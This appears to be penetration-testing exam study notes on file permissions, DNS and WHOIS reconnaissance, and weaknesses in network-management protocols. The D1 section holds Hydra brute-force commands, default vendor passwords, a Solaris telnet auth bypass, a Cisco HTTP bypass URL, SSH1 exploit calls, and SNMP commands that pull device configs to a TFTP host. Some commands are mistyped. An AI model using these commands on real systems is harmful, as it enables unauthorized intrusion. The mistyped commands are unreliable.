- TKIP is vulnerable to a keystream recovery attack that, if successfully executed, permits an attacker to transmit 7-15 packets of the attacker's choice on the network. The attack is an extension of the WEP chop-chop attack. Because WEP utilizes a cryptographically insecure checksum mechanism (CRC32), an attacker can guess individual bytes of a packet, and the wireless access point will confirm or deny whether or not the guess is correct. If the guess is correct, the attacker will be able to detect the guess is correct and continue to guess other bytes of the packet. However, unlike the chop-chop attack against a WEP network, the attacker must wait for at least 60 seconds after a correct guess (a successful circumvention of the CRC32 mechanism) before continuing the attack. This is because although TKIP continues to use the CRC32 checksum mechanism, it implements an additional MIC code named Michael. If two incorrect Michael MIC codes are received within 60 seconds, the access point will implement countermeasures, meaning it will rekey the TKIP session key, thus changing future keystreams. Accordingly, TKIP attack will wait an appropriate amount of time to avoid these countermeasures. Because ARP packets are easily identified by their size, and the vast majority of the contents of this packet would be known to an attacker, the number of bytes an attacker must guess using the above method is rather small (approximately 14 bytes). Recovery of 12 bytes is possible in about 12 minutes on a typical network. An attacker already has access to the entire ciphertext packet. Upon retrieving the entire plaintext of the same packet, the attacker has access to the keystream of the packet, as well as the MIC code of the session. Using this information the attacker can construct a new packet and transmit it on the network. To circumvent the WPA implemented replay protection, attack utilizes QoS channels to transmit these newly constructed packets. An attacker able to transmit these packets may be able to implement any number of attacks, including ARP poisoning attacks, denial of service, and other similar attacks. Further refinements on the attack have been made, enabling attackers to inject a larger malicious packet (596 bytes, to be more specific) within approximately 18 minutes and 25 seconds.

B13 - File System Permissions

B13a - File permission attributes within Unix and Windows file systems and their security implications

Unix File permissions:

- Permissions on Unix-like systems are managed in three distinct classes known as user, group, and others. Effective permission on a file or directory is based on the accessing user's class:
    - Files and directories are owned by a user. The owner determines the file's owner class. Normally files or directories are owned by their creator. Distinct permissions are applied to the owner of the file.

    - Files and directories are assigned a group, which define the file's group class. Distinct permissions apply to members of the file's group members. The owner need not be a member of the file's group. Group membership on a system is defined by /etc/group configuration file.
    - Users who are not the owner, nor a member of the group, comprise a file's others class. Distinct permissions apply to others.

- The following specific permissions on Unix-like systems that apply to each class:
    - Read permission - grants the ability to read a file. When set for a directory, this permission grants the ability to read the names of files in the directory (but not to find out any further information about them such as contents, file type, size, ownership, permissions, etc.). Read is denoted by 'r' (or 4 in octal notation).
    - Write permission - grants the ability to modify a file. When set for a directory, this permission grants the ability to modify entries in the directory. This includes creating files, deleting files, and renaming files. Write is denoted by 'w' (or 2 in octal notation).
    - Execute permission - grants the ability to execute a file. This permission must be set for executable binaries or shell scripts in order to allow the operating system to run them. When set for a directory, this permission grants the ability to traverse its tree in order to access files or subdirectories, but not see files inside the directory (unless read is set). Execute is denoted by 'x' (or 1 in octal notation).

- The following special permission can also apply:
    - Setuid permission – When applied to an executable the program runs with the effective permission of the file owner. When applied to a directory setuid is ignored on Unix and Linux systems. However, on FreeBSD it can cause all files created within the directory to be created with the owner set to the top directory owner (an obvious security hole can which can be disabled in the kernel and needs to be explicitly permitted in the mount options). setuid is denoted by 's' for executable or 'S' for directory (or 4000 in octal notation) and is only applicable to the owner class. Setuid on shell scripts is ignored by many Unix systems and can still present a security risk to poorly designed executables.
    - Setgid permission- The setgid attribute will allow for changing the group based privileges within a process, like the setuid flag does for user based privileges. Setting the setgid permission on a directory causes new files and subdirectories created within it to inherit its groupID, rather than the primary groupID of the user who created the file. Newly created subdirectories inherit the setgid bit. Setgid is denoted by 's' for executable or 'S' for directory (or 2000 in octal notation) and is only applicable to the group class.
    - Sticky bit permission – originally used for pure executable files. When set, it instructed the operating system to retain the text segment of the program in swap space after the process exited. This sped up subsequent executions by allowing the kernel to make a single operation of moving the program from swap to real memory. However, this feature is been dropped from most modern system. Nowadays, the most common use of the sticky bit today is on directories. When the sticky bit is set, only the item's owner, the directory's owner, or the superuser can rename or delete files. Without the sticky bit set, any user with write and execute permissions for the directory can rename or delete contained files, regardless of owner. Typically this is set on

the /tmp directory to prevent ordinary users from deleting or moving other users' files. The sticky bit is also set by the automounter to indicate that a file has not been mounted yet. This allows programs like ls to ignore unmounted remote files. Sticky is denoted by ‘t’ for files or ‘T’ for directories (or 1000 in octal notation) and is only applicable to the other class.

- The umask defines the permission creation mask and limits the permission modes for files and directories subsequently created by the process.

Windows File Permissions

- All named objects in Windows have security descriptors, which provide information about their owner as well as list which users and subjects have specified permissions (DACLS). They also can specify which object accesses must be logged to the system event log. The information about what a subject (user, process, etc) is allowed to do to an object is specified in a data structure known as an ACL. ACLs enumerate who has what kind of access to specific objects. A discretionary ACL (DACL) is a type of ACL where the owners of objects are allowed to change them. Whenever an object is accessed, the security descriptor is compared to the principal's permissions to verify that the requested access is allowed. Windows also supports system ACLs (SACLs) for objects and has used SACL settings to establish which events are logged to the audit log.
- Windows relies on DACLs for general access-control decisions. For the system to determine whether a principal is allowed to perform an operation upon an object, several things are checked: the principal's privileges, the principal's token, and the object's security descriptor. The binary security descriptor on an object is passed to the AccessCheck routine with the principal's token. If the requested access is satisfied by the principal's privileges, access is granted. Otherwise, the DACL access control entries (ACEs) are examined in order. As soon as the security system is able to show that all requested access components are allowed or that any of them is denied, it returns a success in the former case and a failure in the latter.
- An ACL with no ACEs in it is an empty DACL. Since an ACE grants a specified subject access to an object, no one can access an object with an empty DACL. An object without a DACL is said to have a NULL DACL. Objects with NULL DACLs have not been secured and everybody has full control over them. For that reason, do not set either empty or NULL DACLs.

Windows file permission settings:

• Full Control	Everything
• Traverse Folder / Execute File	Traverse folder allow moving through folders to reach other files or folders, even if the user has no permissions for the traversed folders. Traverse folder takes effect only when the group or user is not granted the Bypass traverse checking user right in the Group Policy snap-in. (By default, the Everyone group is given the Bypass traverse checking user right.) Execute File allows or denies running program files (applies to files only).
• Read Attributes	Allows viewing the attributes of a file or folder, such as read-only and hidden. Attributes are defined by NTFS.
• Read Extended Attributes	Read Extended Attributes Allows or denies viewing the extended attributes of a file or folder. Extended attributes are defined by programs and may vary by program.
• Create Files / Write Data	Create Files allows or denies creating files within the folder (applies to folders only). Write Attributes Allows or denies changing the attributes of a file or folder, such as read-only or hidden. Attributes are defined by NTFS.
• Create Folders / Append Data	Create Folders allows or denies creating folders within the folder (applies to folders only). Append Data allows or denies making changes to the end of the file but not changing, deleting, or overwriting existing data (applies to files only).
• Write Attributes	Write Attributes Allows or denies changing the attributes of a file or folder, such as read-only or hidden. Attributes are defined by NTFS.
• Write Extended Attributes	Write Extended Attributes Allows or denies changing the extended attributes of a file or folder. Extended attributes are defined by programs and may vary by program.
• Delete Subfolders and Files	Delete Subfolders and Files Allows or denies deleting subfolders and files, even if the Delete permission has not been granted on the subfolder or file. (applies to folders)

- Delete — Delete Allows or denies deleting the file or folder. If you don't have Delete permission on a file or folder, you can still delete it if you have been granted Delete Subfolders and Files on the parent folder.
- Read Permissions — Read Permissions Allows or denies reading permissions of the file or folder, such as Full Control, Read, and Write.
- Change Permissions — Change Permissions Allows or denies changing permissions of the file or folder, such as Full Control, Read, and Write.
- Take Ownership — Take Ownership Allows or denies taking ownership of the file or folder. The owner of a file or folder can always change permissions on it, regardless of any existing permissions that protect the file or folder.

B13b - Analysing registry ACLs

- Windows applied ACLs to the registry in the same ways as with files and all objects within the windows operating system. ACLs can be applied to HIVES, keys, and sub-keys but not individual entries.

Windows Registry permissions settings:

Query Value	Permission to read a entry from a registry key
Set Value	Permission to set entries in a registry key
Create Subkey	Permission to create subkeys on a selected registry key
Enumerate Subkeys	Permission to identify the subkeys of a registry key
Notify	Permission to receive notification events from a key in the registry
Create Link	Permission to create a symbolic link in a particular key
Delete	Permission to delete a registry object
Write DAC	Permission to write a discretionary access control list on the key
Write Owner	Permission to change the owner of the selected key
Read Control	Permission to open the discretionary access control list on a key

Windows Registry Hives:

- HKEY_CLASSES_ROOT (HKCR)
  Stores information about registered applications, such as file associations and OLE Object Class IDs, tying them to the applications used to handle these items. On Windows 2000 and above, HKCR is a compilation of user-based HKCU\Software\Classes and machine-based HKLM\Software\Classes. If a given value exists in both of the subkeys above, the one in HKCU\Software\Classes takes precedence.
- HKEY_CURRENT_USER (HKCU)
  Stores settings that are specific to the currently logged-in user. The HKCU key is a link to the subkey of HKEY_USERS that corresponds to the user; the same information is accessible in both locations. On Windows- NT based systems, each user's settings are stored in their own files called NTUSER.DAT and USRCLASS.DAT inside their own Documents and Settings subfolder.
- HKEY_LOCAL_MACHINE (HKLM)
  Stores settings that are specific to the local computer.On NT-based versions of Windows, HKLM contains four subkeys, SAM, SECURITY, SOFTWARE and SYSTEM, that are found within their respective files located in the %SystemRoot%\System32\config folder. A fifth subkey, HARDWARE, is volatile and is created dynamically, and as such is not stored in a file. Information about system hardware drivers and services are located under the SYSTEM subkey, while the SOFTWARE subkey contains software and Windows settings.
- HKEY_USERS (HKU)
  Contains subkeys corresponding to the HKEY_CURRENT_USER keys for each user profile actively loaded on the machine, though user hives are usually only loaded for currently logged-in users.
- HKEY_CURRENT_CONFIG
  Contains information gathered at runtime; information stored in this key is not permanently stored on disk, but rather regenerated at the boot time. It is a link to HKEY_LOCAL_MACHINE\System\CurrentControlSet\Hardware Profiles\Current.

B14 - Audit Techniques

B14a - Listing processes and their associated network sockets (if any)

Unix:

- Processes:

```
ps -ef
ps ax
```

- Network services/connections:

```
netstat -na                       --tcp or --udp for just that protocol
netstat -nap                      Can show processes on some systems
lsof | grep <port number>         find process if lsof is installed
NETSTAP -AN                       solaris ?
```

Windows:

- Task Manager (gui): taskmgr.exe
- Tasklist (cmd):

```
tasklist.exe
/v               verbose
/m               dll modules used per process
/svc             services within process
/s               remote system (/u /p username and password to connect with)
/fe              filter (e.g. system processes:  tasklist /FI "USERNAME eq NT
                 AUTHORITY\SYSTEM")
```

- Processes Explorer (sysinternals gui): procexp.exe
- psinfo (sysinternals):

```
psinfo -s        show all software+hotfixes (-p -u password username \\remote)
```

- pslist (sysinternals):

```
pslist -t        (show process tree, -p -u password username \\remote)
```

- psservice (sysinternals):

```
psservice        show / configure services
security         show security info
config           get service config
setconfig args   set service config with args
start/stop svc   start/stop service(svc)
```

- Tcpvcon (sysinterals):

```
tcpvcon.exe -na  show all tcp endpoints without resolve names
```

- Tcpview (sysinternals):

```
tcpview.exe
```

- netstat:

```
netstat -nab     show all sockets + associated process without resolving
```

B14b - Assessing patch levels

Unix:

Solaris: pca script
Linux: ?? for various flavours

Windows:
mbsa (show usage + required files)
psinfo + lookup (perl script)

B14c - Finding interesting files

Unix Checks:

1. The system and users' default umask should be set to 022 (as a minimum but ideally 027) to prevent daemon processes and users' creating world writable files:

```
Solaris: /etc/default/[init,logon] [CMASK,UMASK], /etc/profile /etc/.logon
```

```
Linux: /etc/[profile,bashrc,skel/.bashrc,csh.login,csh.cshrc] + roots (user)
Redhat: /etc/sysconfig/init (daemon)
```

2. Finding setuid and setgid files:

```
find / -type f \(-perm -04000 -o -perm -02000 ) -print > sufiles.out
```

or use checksufiles.sh

3. Finding world writable file and directories:

```
find / -perm -0002 ) -print > worldwritable.out
```

4. Finding group writable files and directories:

```
find / -perm -0020 -print > groupwritable.out
```

5. Finding world writable directories without sticky bit set:

```
find / -type d \(-perm -0002 -a ! -perm -1000 ) -print > worlddirnosticky.out
```

6. Finding un-owned files/directories:

```
find / \(-nouser -o -nogroup ) -print > unowned.out
```

Windows Checks:

- AccessEnum (sysinternals - gui)

  ```
  AccessEnum.exe
  ```

  Can view all file/or registry permissions for entire directories/hives. Useful for highlighting weak file/registry permissions.

- Accesschk (sysinternals – cmdline)

  ```
  accesschk.exe everyone -wuvs c:\     (all files everyone can write to in c:)
  accesschk.exe users -wuvs c:\        (all files users can write to in c:)
  accesschk.exe everyone -ksvuw hklm\  (all keys everyone can write to in HKLM)
  accesschk.exe "user" -wcvu *         (all svc's that can be written by "user")
  ```

Background Information Gathering & Open Source

ID	Skill	Detail	Exam
C1	Registration Records	Information contained within the IP and domain registries (WHOIS)	MC
C2	Domain Name Server (DNS)	DNS queries and responses DNS zone transfers Structure, interpretation and analysis of DNS records: • SOA • MX • TXT • A • NS • PTR • HINFO • CNAME	MC P
C3	Customer Web Site Analysis	Analysis of information from a target web site, both from displayed content and from within the HTML source.	MC
C4	Google Hacking and Web Enumeration	Effective use of search engines and other public data sources to gain information about a target.	MC
C5	NNTP Newsgroups and Mailing Lists	Searching newsgroups or mailing lists for useful information about a target.	MC
C6	Information Leakage from Mail & News headers	Analysing news group and e-mail headers to identify internal system information.	MC

C1 - Registration Records

C1a - Information contained within the IP and domain registries (WHOIS)

Network Information Centers (NICs) store useful information in WHOIS databases, primarily as network, route, or person objects. WHOIS database objects define which areas of the Internet space are registered to which organisations, with other information such as routing and contact details in the case of abuse. The following information can typically be obtained from the various WHOIS databases:

• Registrar:	Specific registrar information and associated whois server
• Organisational:	Information related to a particular organisation (i.e. name & address)
• Domain:	Information related to a particular registered domain name including: • Registrant • Domain name • Admin contact • Record creation dates • Primary and secondary DNS servers
• Network:	Information related to a particular registered network block or IP address
• Point of Contact:	Information related to administrative contacts for the registered object
• Maintainer details:	Information about the recorder maintainer such as email and auth method

WHOIS databases can be queried using numerous WHOIS tools. Common whois clients include:

- whois - Unix command line client
- whois.exe - Windows command line client (sysinternals)
- SAM Spade - Windows GUI client and web based services http://www.samspade.org
- NIC web interfaces - regional whois servers:
    - AfriNIC: http://whois.afrinic.net/
    - APNIC: http://www.apnic.net/whois/
    - ARIN: http://ws.arin.net/whois/
    - LACNIC: http://whois.lacnic.net/
    - RIPE NCC: http://www.ripe.net/whois/

WHOIS query uses during penetration test:

- Registrar queries identify the registrar for the organisation, domain, or netblock. This information can be used for subsequent queries.
- Organisational queries identify registered domains, netblock, contacts that are associated with an organisation. This helps identify the organisation Internet presence.
- Domain queries help to identify if the domain belongs to a particular entity and if so what the administrative contact and DNS server details are for that domain. Administrative contact information can be used for social engineering and identifying for phone/fax numbers that can be used for war dialling. Record creation and modification dates help indicate the accuracy of the information. Authoritative DNS server details can be used for DNS integration.
- Network queries identify the network IP address block associated with the domain name, IP address, or organisation. This is useful to determine whether a system is actually owned by the target organisation or if it is being co-located or hosted by another organisation.
- POC queries indentify domains associated with users' database handles which can uncover a domain that you were unaware of. You may also indentify a list of mail addresses associated with a given domain that could be useful in social engineering attacks.
- Maintainer queries can identify the maintainer details for the registration record. This can highlight the authentication method for making updates and could include the details email/password to make the updates. It's important to use a secure update mechanism (i.e. PGP, actual contact) to prevent domain hijacking attacks. Email and weak password based auth (password/MD5) is discouraged for this reason.

C2 -Domain Name Server (DNS)

C2a - DNS queries and responses

- Domain Name System (DNS) is a distributed database used to map IP addresses to hostnames and vice versa, and provides email routing information. DNS distributes the responsibility of assigning domain names and mapping those names to IP addresses by designating authoritative name servers for each domain. Authoritative name servers are assigned to be responsible for their particular domains, and in turn can assign other authoritative name servers for their sub-domains. DNS also stores other types of information, such as the list of mail servers that accept email for a given Internet domain.
- The domain name space consists of a tree of domain names. Each node or leaf in the tree has zero or more resource records, which hold information associated with the domain name. The tree sub-divides into zones beginning at the root zone. A DNS zone consists of a collection of connected nodes authoritatively served by an authoritative nameserver. (Note that a single nameserver can host several zones.)
- The client-side of the DNS is called a DNS resolver. It is responsible for initiating and sequencing the queries that ultimately lead to a full resolution (translation) of the resource sought, e.g., translation of a domain name into an IP address. Resolving usually entails iterating through several name servers to find the needed information. However, some resolvers function simplistically and can communicate only with a single name server. These simple resolvers (called "stub resolvers") rely on a recursive name server to perform the work of finding information for them. A DNS query may be either a non-recursive query or a recursive query:
    - A non-recursive query is one in which the DNS server provides a record for a domain for which it is authoritative itself, or it provides a partial result without querying other servers.

    - A recursive query is one for which the DNS server will fully answer the query (or give an error) by querying other name servers as needed. DNS servers are not required to support recursive queries.

  The resolver, or another DNS server acting recursively on behalf of the resolver, negotiates use of recursive service using bits in the query headers.

- An authoritative name server is a name server is a name server that is responsible for a particular zone. An authoritative name server can either be a master server or a slave server. A master server is a server that stores the original (master) copies of all zone records. Every DNS zone must be assigned a set of authoritative name servers that are installed in NS records in the parent zone. An authoritative server indicates its status of supplying definitive answers, deemed authoritative, by setting a software flag (a protocol structure bit), called the Authoritative Answer (AA) bit in its responses.
- DNS cache servers store DNS query results for a period of time determined in the configuration (time-to-live) of the domain name record in question. Caching DNS servers implement the recursive algorithm necessary to resolve a given name on behalf of the clients starting with the DNS root through to the authoritative name servers of the queried domain. With this function implemented in the name server, user applications gain efficiency in design and operation.
- DNS cache poisoning is where an attacker spoofs DNS responses to a caching name server so it incorrectly revolves IP addresses and re-direct its users to attacker controlled sites. Bases on allowing external recursive queries and using incremental query IDs + static source ports.

nslookup:

```
c:\nslookup
> server <name/IP>               set DNS server to use
> set querytype=any              list all record type for domain (MS, SOA, NS)
> <domain_name>                  domain

> set debug                      detailed responses including response flags
> set norecurse                  prevent server performing recursive queries
```

NB. PTR query format: 190.160.68.207.in-addr.arpa. (reversed IP address)

Dig:

```
dig @<name_server> <domain_name> any           All e.g SOA, NS, MX
dig @<name_server> <domain_name> ns            NS servers
dig @<name_server> <domain_name> mx            MX records
dig @<name_server> -x <ip_address>             reverse lookup

+trace                                         which servers where queried
```

Reverse DNS sweeping (can manually set client DNS server first):

```
./ghba -f <outfile> 192.168.1.0

nmap -sL 192.168.1.0
```

C2b - DNS zone transfers

A DNS zone transfer provides a mechanism for replicating the databases containing the DNS data across a set of DNS servers. Zone transfer comes in two flavors, full (opcode AXFR) and incremental (IXFR). Zone transfers should be restricted to known peer servers to prevent entire domain information being expose to external parties

nslookup:

```
c:\nslookup
> server <found_SOA/NS_for_domain>
> ls -d <domain_name> > zone.out
```

dig:

```
dig @<name_server> <domain_name> axfr
```

C2c - Structure, interpretation and analysis of DNS records:

SOA

SOA - The Start of Authorities record describes some key data about the zone as defined by the zone administrator (on the domain master machine). It includes things such as the contact address for the admin, and the amount of time that slave nameservers should hang onto the zone in case the master is unreachable.

Structure of SOA record:

```
Domain root name | TTL | Class | Type | Name Server | Email | Serial | Refresh |
Retry | Expiry | Minimum
```

- ***TTL*** - *14400* - TTL defines the duration in seconds that the record may be cached by client side programs. If it is set as 0, it indicates that the record should not be cached. The range is defined to be between 0 to 2147483647 (close to 68 years !) .
- ***Class*** - *IN* - The class shows the type of record. IN equates to Internet. Other options are all historic. So as long as your DNS is on the Internet or Intranet, you must use IN.
- ***Name server*** - ns.nameserver.com. - The nameserver is the server which holds the zone files. It can be either an external server in which case, the entire domain name must be specified followed by a dot. In case it is defined in this zone file, then it can be written as ``ns'' .
- ***Email address*** - *root.ns.nameserver.com.* - This is the email of the domain name administrator. Now, this is really confusing, because people expect an @ to be in an email address. However in this case, email is sent to root@ns.nameserver.com, but written as root.ns.nameserver.com. And yes, remember to put the dot behind the domain name.
- ***Serial number*** - *2004123001* - This is a sort of a revision numbering system to show the changes made to the DNS Zone. This number has to increment, whenever any change is made to the Zone file. The standard convention is to use the date of update YYYYMMDDnn, where nn is a revision number in case more than one updates are done in a day. So if the first update done today would be 2005301200 and second update would be 2005301201.
- ***Refresh*** - *86000* - This is time (in seconds) when the slave DNS server will refresh from the master. This value represents how often a secondary will poll the primary server to see if the serial number for the zone has increased (so it knows to request a new copy of the data for the zone). It can be written as ``23h88M'' indicating 23 hours and 88 minutes. If you have a regular Internet server, you can keep it between 6 to 24 hours.
- ***Retry*** - *7200* - Now assume that a slave tried to contact the master server and failed to contact it because it was down. The Retry value (time in seconds) will tell it when to get back. This value is not very important and can be a fraction of the refresh value.
- ***Expiry*** - *3600000* - This is the time (in seconds) that a slave server will keep a cached zone file as valid, if it can't contact the primary server. If this value were set to say 2 weeks (in seconds), what it means is that a slave would still be able to give out domain information from its cached zone file for 2 weeks, without anyone knowing the difference. The recommended value is between 2 to 4 weeks.

MX

The MX record encodes the name of a Mail Exchanger, a system responsible for handling email for the given domain. Multiple MX records can be provided for a domain (they included way to specify priority). Email server software is the main consumer of MX resource records.

TXT

TXT - A generic Text record that provides descriptive data about domain. These are essentially comments, information associated with name.

A

A - This is an IP Address (host) record, and is the most obvious type of data supported by DNS.

NS

NS - This describes an authoritative nameserver record responsible for the domain asked about.

PTR

PTR - Reverse records (Ipv4 to Host)

HINFO

HINFO - Defines the Hardware type and Operating System (OS) in use on a host. For security reasons these records are rarely used on public servers.

CNAME

CNAME - The Canonical Name, more commonly known as an Alias, this allows providing an alternate name for a resource.

C3 - Customer Web Site Analysis

C3a - Analysis of information from a target web site, both from displayed content and from within the HTML source

- Customer Web sites may contain contact information such as address, employee details (name, email, phone), phone/fax numbers. All of this data is useful for an attacker who is footprinting the target company as the information will be useful in social engineering attacks. Company phone/fax numbers can also provide target information for wardialling attacks.
- The websites may also contain news related to recent acquisitions which could broaden the potential attack scope.
- HTML source can contain comments and other details that provide with a better understanding of the target. Examples of information that can be obtained are:
    - Technology in use (server/web components)
    - Developer details such as names, emails, code changes and the reasons for them
    - File system path information of hosting or internal servers.
    - Details of other interconnected servers or applications (e.g. Databases)
    - Source code filenames and possibly snippets of content or code.
    - Hidden form fields related to security or disclosing information of internal workings or application.
    - Internal network IP addresses

C4 - Google Hacking and Web Enumeration

C4a - Effective use of search engines and other public data sources to gain information about a target

As web crawlers scour the Internet's web sites for content, they catalogue pieces of potentially useful information. Search engines, such as Google, now provide advanced search functions that allow attackers to build a clearer picture of the network that they plan to attack. In particular, the following types of information are easily found:

- Employee contact details and information
- Email addresses
- Direct Dial In (DDI) telephone numbers (useful for war-dialling)
- Physical addresses of offices from which employees are based
- Details of internal email systems
- DNS layout and naming conventions, including domains and hostnames
- Documents that reside on publically accessible servers

Advanced Google filters:

+	explicitly including search_term
-	not including search_term
site:	find search term only on site specified by search_term. YES
filetype:	search documents of type search_term
link:	find sites containing search_term as a link
cache:	display the cached version of page specified by search_term
intitle:	find sites containing search_term in the title of a page

inurl:	find sites containing search_term in the URL of the page
site:	find web pages on a specific web site

Google does not appear to like too many of these advanced queries so alternative search engines can be used:

- http://www.dogpile.com/
- http://www.altavista.com/
- http://uk.yahoo.com/
- http://www.bing.com/

The following sites are good sources of vulnerability information providing details of known vulnerabilities within specific software versions and platforms:

Bugtraq	mailing list (http://www.securityfocus.com/)
Vulnwatch	mailing list (http://www.vulnwatch.org/)
Full disclosure	mailing list (http://seclists.org/)
SecurityFocus	http://www.securityfocus.com
packetstorm	http://www.packetstormsecurity.org
CERT vulnerability databse	http://www.kb.cert.org/vuls/
MITRE Corperation CVE	http://cve.mitre.org
ISS X-force	http://xforce.iss.net
Secunia Advisories	http://secunia.com/
MilW0rm	http://www.milw0rm.com/

C5 - NNTP Newsgroups and Mailing Lists

C5a- Searching newsgroups or mailing lists for useful information about a target

Internet newsgroup searches hold similar types of information as web searches. For example searching newsgroups can reveal usernames, machine names, accessible public servers, etc. Sometimes employees even post news or questions about new systems in use or problems with fixing particular vulnerabilities that may exist on the companies system. This information could reveal valuable attack information or increase the knowledge available for social engineering.

Popular news groups and mailing lists to search include:

- usenet (best ones are mostly pay services although there are lots of free services too e.g. news://nntp.aioe.org, news://news.grc.com , etc)
- google groups (web based newsgroup)

C6 - Information Leakage from Mail & News headers

C6a - Analysing news group and e-mail headers to identify internal system information

Mail and newsgroup header can reveal information about the user's client software and mail/news systems relays that messages to the destination. The client software in use can identify vulnerabilities that may exist within that particular version of software. Mail/news relay information can disclose information about an organisations internal systems and networks, such as the server software versions and internal network topologies from IP addresses, etc.

Networking Equipment

ID	Skill	Detail	Exam
D1	Management Protocols	Weaknesses in the protocols commonly used for the remote management of devices: • Telnet • Web based protocols • SSH • SNMP (covering network information enumeration and common attacks against Cisco configurations) • TFTP • Cisco Reverse Telnet • NTP	MC LF P
D2	Network Traffic Analysis	Techniques for local network traffic analysis. Analysis of network traffic stored in PCAP files.	MC LF
D3	Networking Protocols	Security issues relating to the networking protocols: • ARP • DHCP • CDP • HSRP • VRRP • VTP • STP • TACACS+	MC LP P
D4	IPSec	Enumeration and fingerprinting of devices running IPSec services.	MC P
D5	VoIP	Enumeration and fingerprinting of devices running VoIP services. Knowledge of the SIP protocol.	MC P
D6	Wireless	Enumeration and fingerprinting of devices running Wireless (802.11) services. Knowledge of various options for encryption and authentication, and the relative methods of each. • WEP • TKIP • WPA/WPA2 • EAP/LEAP/PEAP	MC
D7	Configuration Analysis	Analysing configuration files from the following types of Cisco equipment: • Routers • Switches Interpreting the configuration of other manufacturers' devices.	MC LF P

D1 - Management Protocols

D1a - Weaknesses in the protocols commonly used for the remote management of devices:

Fingerprint cisco devices:

```
cisco-torch.pl –A <target>        fingerprint services on cisco devices
```

Telnet

Clear text vulnerable to password sniffing (cain using Arp spoofing)

Default passwords:

- Cisco `cisco  c  !cisco  enable  system  admin  router`
- 3Com `admin  adm  tech  synet  manager  monitor  debug  security`
- Bay `security  manager  user`
- D-link `private  admin  user  year2000  d-link`

Brute force attacks against password (and using default user names if tacacs/radius is enabled) e.g.

```
hydra -P passwords.txt -s 22 <host/ip> cisco
hydra -L users.txt -P passwords.txt -s 22 <host/ip> telnet
```

Specific Telnet Vulnerabilities:

1. Sun Solaris 10 (sparc + x86) Telnet Remote Authentication Bypass Vulnerability (-froot)

```
telnet -l-froot <hostname>                    root is allowed via telnet
telnet -l-fbin <hostname>                     root is not allowed via telnet
telnet -l-d/dev/console <hostname>   bypass console only root login

metasploit (solaris/telnet/fuser)
```

2. Solaris (<=8 sparc + x86) TTYPROMPT Telnet Vulnerability

```
raptor_rlogin –h <IPaddress>

metaploit (solaris/telnet/ttyprompt)
```

Web based protocols

Clear text for HTTP (wireshark or Cain to sniff and capture)

Default passwords – see default password list.

Brute force attacks against password with default user accounts

```
hydra
```

Cisco HTTP Configuration Arbitrary Administrative Access Vulnerability

```
e.g. http://10.0.1.252/level/99/exec/show/config

perl cge <target> 3

metasploit (aux - admin/cisco/ios_http_auth_bypass)
```

SSH

Fingerprint SSH service:

```
telnet <ipaddress> 22
ncat <ipaddress> 22
nc <ipaddress> 22
```

Bruteforce attacks:

```
hydra -L users.txt -P passwords.txt -s 22 <host/ip> ssh2
guess-who -l <user> -h <host> -p 22 -1 < password.lst
```

SSH1 CRC32 compensation exploit:

```
./cm-ssh/shack -t0                  show targets
./cm-ssh/shack -t10 <ip> 22         exploit IP that has target 10
```

SSH-1 has inherent design flaws which make it vulnerable (e.g., man-in-the-middle attacks), it is now generally considered obsolete and should be avoided by explicitly disabling fallback to SSH-1.

• SNMP (covering network information enumeration and common attacks against Cisco configurations)

Default snmp community strings (public, private)

Clear text protocol so community string can be easily sniffed from the network (wireshark, or cain)

Brute force snmp community strings:

```
./ADMsnmp 192.168.0.1 -wordfile snmp.passwd
onesixtyone -c dict.txr <ip address>           (use -i for host file)
```

Information enumeration:

```
snmpwalk -c <string> -Cc -v1 <target> .         all
snmpnetstat -c <string> -Cr -v1 <target>        routing table
snmpnetstat -c <string> -Ci -v1 <target>
snmpnetstat -c <string> -v1 <target>
snmpcheck.pl -t <target> -w -c public           nice output + checks write
getif.exe
```

Cisco snmp ‘write’ community string TFTP config retrieval (need TFTP server listening):

```
snmpset 10.0.1.252 <string>  .1.3.6.1.4.1.9.2.1.55.192.168.1.15 s "config"
cain.exe                                does this without need for tftp server
cisco-torch.pl -ugb <target>            requires TFTP server
```

Assend snmp ‘write’ community string TFTP config retrieval (need TFTP server listening):

```
snmpset 10.0.1.252 <string>  .1.3.6.1.4.1.529.9.5.3.0 a “192.168.1.15”
snmpset 10.0.1.252 <string>  .1.3.6.1.4.1.529.9.5.4.0 s "config"
```

With config you can crack Cisco type7 passwords:

```
cain
```

Windows SNMP MiBs contain usernames that can be used to attempt password guessing/bruteforce attacks.

• TFTP

No authentication so file retrieval is possible if the file name is known.

Cisco (or other) device configuration file retrieval:

```
tftp -i <ip> GET config.cfg config.cfg          windows client config = hostname

tftp                                            linux client
> connect <ip>
> get config.cfg                                config = hostname
> quit
```

TFTP bruteforce:

```
tftpbrute.pl <target> brutefile.txt
```

Also upload a new config through the SNMP write issue if you can’t get any passwords. Cain will do this for you.

• Cisco Reverse Telnet

Cisco reverse telnet is a specialized application of telnet, where the server side of the connection reads and writes data to a TTY line (RS-232 serial port), rather than providing a command shell to the host device.

Through the use of reverse telnet on such a device, IP-networked users can use telnet to access serially-connected devices such as a switch that is not IP enabled.

1. To do reverse telnet the aux port of the router must be connected to the console of the device.
2. Then enable the AUX port as follows:
   ```
   # conf t
   # line aux 0
   (config-line)# modem InOut
   (config-line)# transport preferred all
   (config-line)# transport input all
   (config-line)# transport output all
   ^z
   ```
3. Need a loopback address too:
   ```
   #conf t
   (config)#int loopback 0
   (config-if)#ip address 10.0.0.1 255.0.0.0
   (config-if)#no shut
   ^z
   ```
4. See what line the AUX port is using
   ```
   #sh line
      Tty Typ     Tx/Rx    A Modem  Roty AccO AccI   Uses   Noise  Overruns   Int
        0 CTY              -   -      -    -    -      0       0     0/0       -
      225 AUX  19200/19200 - inout    -    -    -      0       0     0/0       -
   *  226 VTY              -   -      -    -    -     10       0     0/0       -
      227 VTY              -   -      -    -    -      0       0     0/0       -
      228 VTY              -   -      -    -    -      0       0     0/0       -
      229 VTY              -   -      -    -    -      0       0     0/0       -
      230 VTY              -   -      -    -    -      0       0     0/0         –
   ```
5. telnet to the loop back IP at port 2000+AUX i.e.
   ```
   #telnet 10.0.0.1 2226
   ```
6. Exit with CTRL+SHIFT+6, press the letter X. Then
   ```
   #clear line 226
   ```

Example configuration for reverse telnet setup:

```
Current configuration : 3481 bytes
!
!
interface Loopback0
 ip address 10.0.0.1 255.0.0.0
!
line con 0
 transport input none
line aux 0
 modem InOut
 transport input all
 speed 19200
line vty 0 4
 password xxxxxxx
 login
!
end
```

• NTP

The Network Time Protocol (NTP) is a protocol for synchronizing the clocks of computer systems over a network. NTP uses UDP on port 123 as its transport layer.

Information retrieval via NTP if the service is configured to accept the readvar, peers, and monlist command:

